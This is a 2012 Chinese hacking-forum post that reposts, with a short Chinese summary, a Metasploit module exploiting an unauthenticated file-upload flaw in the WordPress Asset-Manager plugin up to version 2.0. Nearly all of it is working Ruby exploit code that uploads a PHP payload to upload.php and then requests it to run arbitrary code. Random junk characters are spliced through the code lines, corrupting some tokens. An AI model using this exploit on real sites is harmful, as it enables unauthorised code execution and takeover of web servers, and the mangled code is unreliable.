找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2133|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
. E% D9 I' }8 N1 }- s+ g/ g/ y3 F8 ~: {
##
" b/ ~; V* o9 ~! V: Q* D; M( c: c# This file is part of the Metasploit Framework and may be subject to5 ~  L: h" q+ P; \) N
# redistribution and commercial restrictions. Please see the Metasploit2 d7 K* v" P- r: o& l; x! @
# Framework web site for more information on licensing and terms of use.+ q1 U% g& V. i" R) }( |9 j
#   http://metasploit.com/framework/' w8 ?. {/ ~3 [" c* K, S
##% o$ S; c! s: p; r) ^- h! y

' H% h0 \8 ?# H1 d: y4 h5 U: Mrequire 'msf/core'# E- o! S& |% T
require 'msf/core/exploit/php_exe'! j% S( V/ Q; J: Q3 |, k
1 K  r' r& s3 e& i5 B5 i0 p
class Metasploit3 < Msf::Exploit::Remote
+ k: p  {0 D2 ?+ b( H/ a9 ~  Rank = ExcellentRanking
0 w) |$ U, Y; D' @: S: t9 ?; d1 [
! g* {& e5 d6 `6 I  include Msf::Exploit::Remote::HttpClient3 ?* C: c1 g* `" C4 X/ o
  include Msf::Exploit:hpEXE. m: S( r* k4 n5 [  _
. X: j4 V& g# N! R8 A* o# y0 T: H
  def initialize(info = {})
: v2 ^$ ?% [) b& @; g: o5 S    super(update_info(info,& w  U; w) l8 t& I
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
5 g5 n, m% d- a1 f! T      'Description'    => %q{
. ~+ L9 k/ L2 s% e: @+ H2 Y        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress. _; W- ?* D; |. x  h2 {& u
        plugin.  By abusing the upload.php file, a malicious user can upload a file to a( Q6 d0 s  d7 }' @; o9 T
        temp directory without authentication, which results in arbitrary code execution.& h% A0 Z, l1 Z- {, t
      },2 s8 y: _3 C; z2 t, |& a& {* O0 _
      'Author'         =>1 Y7 S& P+ r3 K; v9 u. D
        [. Z% U4 k9 k+ n; M8 i* Q
          'Sammy FORGIT', # initial discovery7 y; c* T: M  z7 Y0 o. Q$ H
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module
. `/ `5 [* p( L3 ~        ],5 Y! T" q) p2 T2 F7 C  V8 w& e
      'License'        => MSF_LICENSE,
( e% y; P- E  I3 Q+ F0 G# C      'References'     =>2 y: x7 m2 }" m7 G, X$ A
        [/ r3 R, ^% \+ i( p6 f' J
          [ 'OSVDB', '82653' ],8 A+ {0 e. o( v4 B  F* s
          [ 'BID', '53809' ],$ b0 U- W; z2 ?& T- K
          [ 'EDB', '18993' ],0 e2 `' r5 R( B
          [ 'URL', 'http:// www.myhack58.com /' ]
3 Y, N) H, |$ G" Q        ],
- l# w$ M0 o7 _) _0 I) R, f      'Payload'       =>& v6 _7 }5 i8 z5 d1 q- d
        {/ o# {' @$ {) J! k* r
          'BadChars' => "\x00",
3 S" b# [2 f% h- A, `( x- a        },
8 B/ z. a/ y9 T3 a: l# \      'Platform'       => 'php',- e/ L: F/ H/ Y' r  Q- N' q
      'Arch'           => ARCH_PHP,2 q" c& J# f. ]  q, @9 Y5 g
      'Targets'        =>
2 t7 \6 N2 o0 l; _, }! y        [' v. M' u7 t2 K: I: i$ g
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],8 @# Q3 X) C" B2 P5 Z- ]
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
- T# V2 f9 Q* D6 ?! r' U/ f3 m        ],$ N) k/ P% G# m! V' _
      'DefaultTarget' => 0,( G5 ~6 c; r# s
      'DisclosureDate' => 'May 26 2012')); ]5 E7 Q4 Z# i3 G* \6 S+ w# f
$ x" F1 F  R. F& I3 x% b  v
    register_options() r5 s5 |* h) i2 k
      [
* d, T; i& T9 d! z  q( q        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])- H% ~! H, Z  l( C' s0 P) h
      ], self.class)
/ p1 }. }5 A# o: }) }  end- Z6 N5 D2 _1 Z9 K# w" e

2 f5 u3 s5 l2 |* k  def exploit
( f4 g+ d# O+ W: b& ^# u, t    uri =  target_uri.path. M$ p7 m2 z; n* h3 C2 ]% R5 u8 q
    uri << '/' if uri[-1,1] != '/'
* H3 O( ?* g6 w, `6 ~1 R# I    peer = "#{rhost}:#{rport}"9 x" i! I# U. b& {) t; F$ X
    payload_name = "#{rand_text_alpha(5)}.php"
3 s6 f3 A3 Q% U    php_payload = get_write_exec_payload(:unlink_self=>true)
0 j* _- e$ n( p
( Z1 _- T' i2 ~    data = Rex::MIME::Message.new
! H4 X) l1 b  e2 T7 s" b0 z6 m( A    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")2 R. {1 U% W, ?; ~# L
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
: H- f+ ]8 t6 Q) K. N) w1 `8 t
- \+ a3 c. [/ S1 ^" F$ X0 s" e1 A  O    print_status("#{peer} - Uploading payload #{payload_name}")/ K+ s0 R4 l0 r4 z6 Y
    res = send_request_cgi({) j; Q1 A! L6 u3 g( k) z# ^; {
      'method'  => 'POST',
$ h. @* v2 ?# J+ X      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
" j* z6 I. V! A; Q; r1 Z, R      'ctype'   => "multipart/form-data; boundary=#{data.bound}",; T6 H8 i/ H' h' }  Z
      'data'    => post_data
, V0 z4 M' j4 ]4 S2 F$ d3 ^    })8 A2 i# m/ F) m5 G

$ d- P2 F% Y+ i' O0 R3 E    if not res or res.code != 200 or res.body !~ /#{payload_name}/7 ~% {4 s5 ^1 ?" {( B7 k
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
- q6 _& L. g0 R& i$ Jend
. i' n+ k: X- E2 f 5 F; n3 X5 y& ~$ K& {
    print_status("#{peer} - Executing payload #{payload_name}")
4 [6 w# s$ K$ g2 v: Q6 ]0 L    res = send_request_raw({
' Z/ V. y7 B' @& ^- F) j      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",6 L6 q/ Z( i4 A1 G  o/ L% V. x
      'method'  => 'GET'8 y, T9 F) S5 Q8 k
    })
3 u) l, x+ W" d- ] , r4 ?1 t% N: E+ H2 j. x
    if res and res.code != 2008 }; s* a$ s* O  M- h- F0 f
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
  y+ L# [5 B0 E) W& i9 Z1 R- ~    end
5 s, O# n6 i6 K5 K  end) B8 ?  h( J" }& Z0 @) g+ |3 y
end
/ R' k( F2 E# R. l  \9 s1 v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表